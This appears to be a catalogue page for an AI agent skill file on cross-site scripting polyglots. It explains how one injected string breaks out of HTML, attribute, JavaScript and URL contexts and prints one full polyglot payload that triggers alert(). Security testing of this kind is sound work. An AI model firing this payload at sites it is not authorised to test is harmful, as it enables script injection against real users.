Individual skill

payloads-xss-polyglots

Context-breaking XSS polyglots and per-context payloads that fire across HTML/attribute/JS/ URL sinks in one shot. Load when confirming XSS fast, unsure of the injection context, or a single test payload should cover many contexts. Signals: reflected input, XSS triage, "polyglot".

skills/payloads/payloads-xss-polyglots/SKILL.md

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Last checked: Nov 7, 2026

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Repository stars (not skill ratings): 27
Repository last updated: Oct 14, 2026
License: MIT

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# XSS polyglots & per-context payloads

## When it applies
You want one payload that reveals reflection/execution regardless of where it lands, then a
context-specific finisher once you know the spot. Pairs with `web-xss`.

## Why it works
A polyglot is crafted to be syntactically valid (and break out) in multiple contexts at once —
HTML body, attribute, JS string, comment — so a single injection surfaces the vulnerable context.

## Payloads
**Polyglot (fires broadly):**
```
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e